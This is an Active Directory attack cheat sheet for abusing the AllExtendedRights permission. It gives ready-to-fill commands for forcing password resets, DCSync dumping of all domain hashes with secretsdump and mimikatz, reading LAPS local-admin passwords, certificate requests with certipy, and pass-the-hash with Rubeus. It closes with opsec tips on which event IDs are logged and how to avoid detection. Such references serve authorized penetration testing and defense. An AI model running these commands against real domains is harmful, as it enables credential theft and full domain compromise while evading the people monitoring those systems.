AllExtendedRights
Source has all extended rights on the target β includes User-Force-Change-Password, DS-Replication-Get-Changes, and ReadLAPSPassword depending on target type
Applies to: User/Group/Computer β User, Domain, Computer (LAPS)
Linux Abuse
Target: User β force password change (no old password needed)
# bloodyAD
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
# net rpc
net rpc password <target-user> '<new-password>' -U <domain>/<username>%'<password>' -S <dc-ip>
Target: User β certificate enrollment abuse (if PKI in scope)
certipy-ad req -u <username>@<domain> -p '<password>' -ca '<ca-name>' -template User -dc-ip <dc-ip>
Target: Domain β DCSync (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All)
secretsdump.py '<domain>/<username>:<password>' -dc-ip <dc-ip>
# Or with hash
secretsdump.py -hashes :<ntlm-hash> '<domain>/<username>' -dc-ip <dc-ip>
Target: Computer (LAPS enabled) β read LAPS password
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> get object '<target-computer$>' --attr ms-mcs-admpwd
# Or via ldapsearch
ldapsearch -x -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' \
-b 'CN=<target-computer>,CN=Computers,DC=<domain>,DC=<tld>' \
'(objectclass=computer)' ms-mcs-admpwd
# Or via netexec
nxc ldap <dc-ip> -u <username> -p '<password>' --module laps
Target: Computer (LAPS v2 / Windows LAPS) β read msLAPS-Password
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> get object '<target-computer$>' --attr msLAPS-Password
Windows Abuse
Target: User β force password change
Set-DomainUserPassword -Identity <target-user> \
-AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Credential $cred
CMD
net user <target-user> <new-password> /domain
Target: Domain β DCSync
mimikatz # lsadump::dcsync /domain:<domain> /user:Administrator
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
Target: Computer β read LAPS (legacy)
Get-DomainComputer <target-computer> -Properties ms-mcs-admpwd | Select-Object -Expand ms-mcs-admpwd
Target: Computer β read LAPS v2
Get-DomainComputer <target-computer> -Properties msLAPS-Password | Select-Object -Expand msLAPS-Password
# Password is JSON-encoded β parse it
Rubeus (after getting LAPS cred β PTH to target)
Rubeus.exe asktgt /user:Administrator /rc4:<laps-ntlm-hash> /domain:<domain> /dc:<dc-ip> /nowrap
Opsec
- Force-password-change logged as event 4723/4724 on DC
- DCSync logged as 4662 (object access) β avoid running from a workstation, use from DC network range if possible
- LAPS reads are LDAP queries β not directly logged unless LDAP audit is enabled